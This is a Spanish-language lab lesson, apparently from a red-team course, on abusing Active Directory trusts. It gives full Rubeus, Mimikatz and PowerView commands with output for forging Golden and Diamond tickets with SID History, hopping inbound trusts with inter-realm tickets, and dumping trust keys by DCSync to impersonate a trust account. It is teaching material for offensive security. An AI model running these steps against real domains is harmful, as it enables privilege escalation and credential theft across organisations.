Forest & Domain Trusts
Forest & Domain Trusts
A un nivel básico, una relación de confianza permite a los usuarios en un dominio autenticarse y acceder a recursos en otro dominio. Esto funciona permitiendo que el tráfico de autenticación fluya entre ellos mediante referencias. Cuando un usuario solicita acceso a un recurso fuera de su dominio actual, su KDC devolverá un ticket de referencia que apunta al KDC del dominio de destino. El TGT del usuario se cifra utilizando una clave de confianza inter-realm (en lugar del krbtgt local), que a menudo se llama un TGT inter-realm. El dominio extranjero descifra este ticket, recupera el TGT del usuario y decide si se le debe conceder acceso al recurso o no.
Las relaciones de confianza pueden ser one-way o two-way; y transitive o non-transitive.
Una confianza one-way permite que los principales en el dominio trusted accedan a los recursos en el dominio trusting, pero no viceversa. Una confianza two-way es en realidad solo dos relaciones de confianza one-way que van en direcciones opuestas, y permite a los usuarios en cada dominio acceder a los recursos en el otro. Las direcciones de confianza pueden ser confusas, ya que la dirección de la confianza es opuesta a la dirección de acceso.
Si el Dominio A confía en el Dominio B, el Dominio A es el dominio trusting y el Dominio B es el dominio trusted. Pero esto permite a los usuarios en el Dominio B acceder al Dominio A, no de A a B. Para complicar aún más las cosas, las confianzas one-way pueden etiquetarse como Inbound o Outbound dependiendo de tu perspectiva. En el Dominio A, esto sería una confianza Outbound; y en el Dominio B, esto sería una confianza Inbound.
La transitividad define si una confianza puede encadenarse o no. Por ejemplo, si el Dominio A confía en el Dominio B, y el Dominio B confía en el Dominio C; entonces A también confía en C. Si estos dominios son propiedad de diferentes entidades, entonces hay implicaciones obvias en términos del modelo de confianza…
Parent/Child
Cuando se agrega un dominio hijo a un bosque, automáticamente crea una confianza transitive y two-way con su dominio padre. Esto se puede encontrar en el laboratorio donde dev.cyberbotic.io es un dominio hijo de cyberbotic.io.
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainTrust
SourceName : dev.cyberbotic.io
TargetName : cyberbotic.io
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 8/15/2022 4:00:00 PM
WhenChanged : 8/15/2022 4:00:00 PM
SourceName es el dominio actual, TargetName es el dominio extranjero, TrustDirection es la dirección de la confianza (bidirectional es two-way), y TrustAttributes: WITHIN_FOREST nos permite saber que ambos dominios son parte del mismo bosque, lo que implica una relación padre/hijo.
Si tenemos privilegios de Domain Admin en el hijo, también podemos obtener privilegios de Domain Admin en el padre utilizando un TGT con un atributo especial llamado SID History. SID History fue diseñado para admitir escenarios de migración, donde un usuario sería movido de un dominio a otro. Para preservar el acceso a los recursos en el "viejo" dominio, el SID previo del usuario se agregarían al SID History de su nueva cuenta. Al crear un ticket de este tipo, el SID de un grupo privilegiado (EAs, DAs, etc.) en el dominio padre puede ser agregado, lo que otorgará acceso a todos los recursos en el padre.
Esto se puede lograr usando un Golden o Diamond Ticket.
Golden Ticket
El proceso es el mismo que crear Golden Tickets anteriormente, la única información adicional requerida es el SID de un grupo objetivo en el dominio padre.
beacon> powershell Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid
objectsid
---------
S-1-5-21-2594061375-675613155-814674916-512
beacon> powershell Get-DomainController -Domain cyberbotic.io | select Name
Name
----
dc-1.cyberbotic.io
Crear el golden ticket con Rubeus.
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap
[*] Action: Build TGT
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ExtraSIDs : S-1-5-21-2594061375-675613155-814674916-512
[*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@dev.cyberbotic.io'
[*] AuthTime : 9/12/2022 10:44:21 AM
[*] StartTime : 9/12/2022 10:44:21 AM
[*] EndTime : 9/12/2022 8:44:21 PM
[*] RenewTill : 9/19/2022 10:44:21 AM
[*] base64(ticket.kirbi):
doIFmD[...]MuaW8=
Luego importarlo en una sesión de inicio de sesión y usarlo para acceder al controlador de dominio en el padre.
beacon> run klist
Current LogonId is 0:0x3a6665
Cached Tickets: (1)
#0> Client: Administrator @ DEV.CYBERBOTIC.IO
Server: krbtgt/dev.cyberbotic.io @ DEV.CYBERBOTIC.IO
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> ls \\dc-1.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 15:26:54 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 08/24/2022 11:11:21 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/08/2022 17:33:33 ProgramData
dir 08/15/2022 15:07:48 Recovery
dir 08/24/2022 11:05:32 Shares
dir 08/31/2022 16:44:18 System Volume Information
dir 08/15/2022 15:09:04 Users
dir 08/24/2022 11:10:45 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/12/2022 08:36:09 DumpStack.log.tmp
384mb fil 09/12/2022 08:36:09 pagefile.sys
Diamond Ticket
El comando diamond de Rubeus también tiene un parámetro /sids, con el cual podemos suministrar los SIDs adicionales que queremos en nuestro ticket.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap
[*] Action: Diamond Ticket
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: KT+juea5lxCbxNfLLWbgRorvmR+gRkaoifHatrHE0GE=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF1j[...]5JTw==
[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT
[*] base64(ticket.kirbi):
doIGAj[...]lDLklP
Si dev.cyberbotic.io también tuviera un hijo (por ejemplo, test.dev.cyberbotic.io), entonces un DA en TEST podría usar su krbtgt para saltar a DA/EA en cyberbotic.io instantáneamente porque las confianzas son transitive.
También existen otros métodos que no requieren DA en el hijo. Por ejemplo, también puedes realizar kerberoast y ASREProast a través de las confianzas de dominio, lo que puede conducir a la divulgación de credenciales privilegiadas. Debido a que los principales en CYBER pueden obtener acceso a los recursos en DEV, podrías encontrar instancias donde estén accediendo a máquinas que hemos comprometido. Si interactúan con una máquina con delegación sin restricciones, podemos capturar sus TGTs. Si están en una máquina de forma interactiva, como RDP, podemos suplantarlos como a cualquier otro usuario.
One-Way Inbound
dev.cyberbotic.io también tiene un trust de entrada unidireccional con dev-studio.com.
beacon> powershell Get-DomainTrust
SourceName : dev.cyberbotic.io
TargetName : dev-studio.com
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound
WhenCreated : 8/16/2022 9:52:37 AM
WhenChanged : 8/16/2022 9:52:37 AM
Debido a que el trust es entrante desde nuestra perspectiva, significa que los principals en nuestro dominio pueden recibir acceso a los recursos en el dominio extranjero. Podemos enumerar el dominio extranjero a través del trust.
beacon> powershell Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName
dnshostname
-----------
dc.dev-studio.com
`Get-DomainForeignGroupMember` will enumerate any groups that contain users outside of its domain and return its members.
beacon> powershell Get-DomainForeignGroupMember -Domain dev-studio.com
GroupDomain : dev-studio.com
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=dev-studio,DC=com
MemberDomain : dev-studio.com
MemberName : S-1-5-21-569305411-121244042-2357301523-1120
MemberDistinguishedName : CN=S-1-5-21-569305411-121244042-2357301523-1120,CN=ForeignSecurityPrincipals,DC=dev-studio,DC=com
Este resultado muestra que hay un miembro del grupo Administrators integrado del dominio que no forma parte de dev-studio.com. El campo MemberName contiene un SID que puede ser resuelto en nuestro dominio actual.
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120
DEV\Studio Admins
Esto significa que los miembros de DEV\Studio Admins también son miembros del grupo Administrators integrado de dev-studio.com y, por lo tanto, heredan acceso de administrador local a dc.dev-studio.com. Si esto es confuso, así es como se ve desde la perspectiva del domain controller extranjero.
Para aprovechar este trust, solo necesitamos suplantar a un miembro de este grupo de dominio Studio Admins.
beacon> powershell Get-DomainGroupMember -Identity "Studio Admins" | select MemberName
MemberName
----------
nlamb
Para aprovechar un domain trust usando Kerberos, primero necesitamos una inter-realm key. Obtenga un TGT para el usuario objetivo (aquí estoy usando asktgt con su hash AES256).
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4 /nowrap
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFwj[...]MuaW8=
A continuación, use ese TGT para solicitar un referral ticket desde el dominio actual al dominio objetivo.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/dev-studio.com'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFoz[...]NPTQ==
ServiceName : krbtgt/DEV-STUDIO.COM
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/12/2022 11:13:23 AM
EndTime : 9/12/2022 9:11:21 PM
RenewTill : 9/19/2022 11:11:21 AM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : zfUbwA2B0+aqao7HSvnUgw==
Info
Note cómo este ticket inter-realm es del tipo rc4_hmac a pesar de que nuestro TGT era aes256_cts_hmac_sha1. Esta es la configuración predeterminada a menos que AES haya sido configurado específicamente en el trust, por lo que esto no es necesariamente una mala práctica de OPSEC.
Finalmente, use este ticket inter-realm para solicitar TGS en el dominio objetivo. Aquí, estoy solicitando un ticket para CIFS.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/dc.dev-studio.com'
[*] Using domain controller: dc.dev-studio.com (10.10.150.10)
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFkD[...]8uY29t
ServiceName : cifs/dc.dev-studio.com
ServiceRealm : DEV-STUDIO.COM
UserName : nlamb
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/12/2022 11:16:46 AM
EndTime : 9/12/2022 9:11:21 PM
RenewTill : 9/19/2022 11:11:21 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : V1vCRoRX/9SAFe/ynWQIE9E9DYztP0mk6bg9BRx9Wjk=
beacon> run klist
Current LogonId is 0:0x45bcb0
Cached Tickets: (1)
#0> Client: nlamb @ DEV.CYBERBOTIC.IO
Server: cifs/dc.dev-studio.com @ DEV-STUDIO.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> ls \\dc.dev-studio.com\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 09:15:48 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 05/08/2021 08:20:24 PerfLogs
dir 08/19/2021 06:35:15 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 08/16/2022 09:26:24 ProgramData
dir 08/16/2022 08:54:23 Recovery
dir 08/16/2022 09:26:41 System Volume Information
dir 08/16/2022 08:55:34 Users
dir 08/16/2022 09:23:25 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
12kb fil 09/12/2022 08:36:05 DumpStack.log.tmp
384mb fil 09/12/2022 08:36:05 pagefile.sys
One-Way Outbound
Recuerde que si el Dominio A confía en el Dominio B, los usuarios en el Dominio B pueden acceder a los recursos en el Dominio A; pero los usuarios en el Dominio A no deberían poder acceder a los recursos en el Dominio B. Si estamos en el Dominio A, entonces está diseñado para que no podamos acceder al Dominio B. Existe un trust saliente entre cyberbotic.io y msp.org. La dirección del trust es tal que cyberbotic.io confía en msp.org (por lo que los usuarios de msp.org pueden acceder a los recursos en cyberbotic.io).
Info
Debido a que DEV tiene un trust con CYBER, podemos consultar los trusts que tiene agregando el parámetro -Domain.
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainTrust -Domain cyberbotic.io
SourceName : cyberbotic.io
TargetName : msp.org
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Outbound
WhenCreated : 8/16/2022 9:49:17 AM
WhenChanged : 8/16/2022 9:49:17 AM
Todavía podemos explotar parcialmente este trust y obtener acceso de "domain user" desde CYBER a MSP aprovechando la credencial compartida para el trust. Ambos dominios en una relación de trust almacenan una contraseña compartida (que se cambia automáticamente cada 30 días) en un Trusted Domain Object (TDO). Estos objetos se almacenan en el system container y pueden ser leídos a través de LDAP. Aquí vemos que el DC en CYBER tiene dos TDOs para sus trusts con DEV y MSP.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] distinguishedName : CN=dev.cyberbotic.io,CN=System,DC=cyberbotic,DC=io
[+] name : dev.cyberbotic.io
[+] flatName : DEV
[+] trustDirection : 3
[+] distinguishedName : CN=msp.org,CN=System,DC=cyberbotic,DC=io
[+] name : msp.org
[+] flatName : MSP
[+] trustDirection : 2
Hay dos opciones para obtener el material de la clave. Una es moverse lateralmente al propio DC y extraerla desde la memoria.
beacon> run hostname
dc-1
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> mimikatz lsadump::trust /patch
Domain: MSP.ORG (MSP / S-1-5-21-616357355-3455548143-339820157)
[ In ] CYBERBOTIC.IO -> MSP.ORG
[ Out ] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[ In-1] CYBERBOTIC.IO -> MSP.ORG
[Out-1] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
Esto realiza un parcheo de memoria, lo cual es muy riesgoso, particularmente en un domain controller.
La segunda opción es usar DCSync con el GUID del TDO.
beacon> powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid
objectguid
----------
b93d2e36-48df-46bf-89d5-2fc22c139b43
beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
[DC] 'cyberbotic.io' will be the domain
[DC] 'dc-1.cyberbotic.io' will be the DC server
[DC] Object with GUID '{b93d2e36-48df-46bf-89d5-2fc22c139b43}'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : msp.org
** TRUSTED DOMAIN - Antisocial **
Partner : msp.org
[ Out ] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[Out-1] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[Out] y [Out-1] son las contraseñas "nuevas" y "antiguas" respectivamente (son las mismas aquí porque no han pasado 30 días desde la creación del trust). En la mayoría de los casos, la clave actual [Out] es la que se desea. Además, también hay una "trust account" que se crea en el dominio "confiado", con el nombre del dominio "confiante". Por ejemplo, si obtenemos todas las cuentas de usuario en el dominio DEV, veremos CYBER$ y STUDIO$, que son las trust accounts para esos trusts de dominio respectivos.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"
[*] TOTAL NUMBER OF SEARCH RESULTS: 11
[...]
[+] cn : CYBER$
[+] cn : STUDIO$
Esto significa que el dominio MSP tendrá una trust account llamada CYBER$, aunque no podamos enumerarla a través del trust para confirmarlo. Esta es la cuenta que debemos suplantar para solicitar tickets Kerberos a través del trust.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CYBER$ /domain:msp.org /rc4:f3fc2312d9d1f80b78e67d55d41ad496 /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: f3fc2312d9d1f80b78e67d55d41ad496
[*] Building AS-REQ (w/ preauth) for: 'msp.org\CYBER$'
[*] Using domain controller: 10.10.151.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFGD[...]Aub3Jn
ServiceName : krbtgt/msp.org
ServiceRealm : MSP.ORG
UserName : CYBER$
UserRealm : MSP.ORG
StartTime : 9/12/2022 2:03:12 PM
EndTime : 9/13/2022 12:03:12 AM
RenewTill : 9/19/2022 2:03:12 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Uf2X2f65qJYeHow3kfHG2w==
ASREP (key) : F3FC2312D9D1F80B78E67D55D41AD496
Info
Recuerde que los tickets RC4 se utilizan por defecto a través de los trusts.
Este TGT ahora se puede usar para interactuar con el dominio.
beacon> run klist
Current LogonId is 0:0x537833
Cached Tickets: (1)
#0> Client: CYBER$ @ MSP.ORG
Server: krbtgt/msp.org @ MSP.ORG
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
beacon> powershell Get-Domain -Domain msp.org
Forest : msp.org
DomainControllers : {ad.msp.org}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : ad.msp.org
RidRoleOwner : ad.msp.org
InfrastructureRoleOwner : ad.msp.org
Name : msp.org
Esta cuenta obviamente no es un domain admin, pero ahora se pueden realizar múltiples prácticas abusivas a través del trust para elevar privilegios, incluyendo kerberoasting, ASREPRoasting, RBCD y templates de certificados vulnerables.
Info
Como desafío, intente encontrar una manera de obtener DA en este bosque.

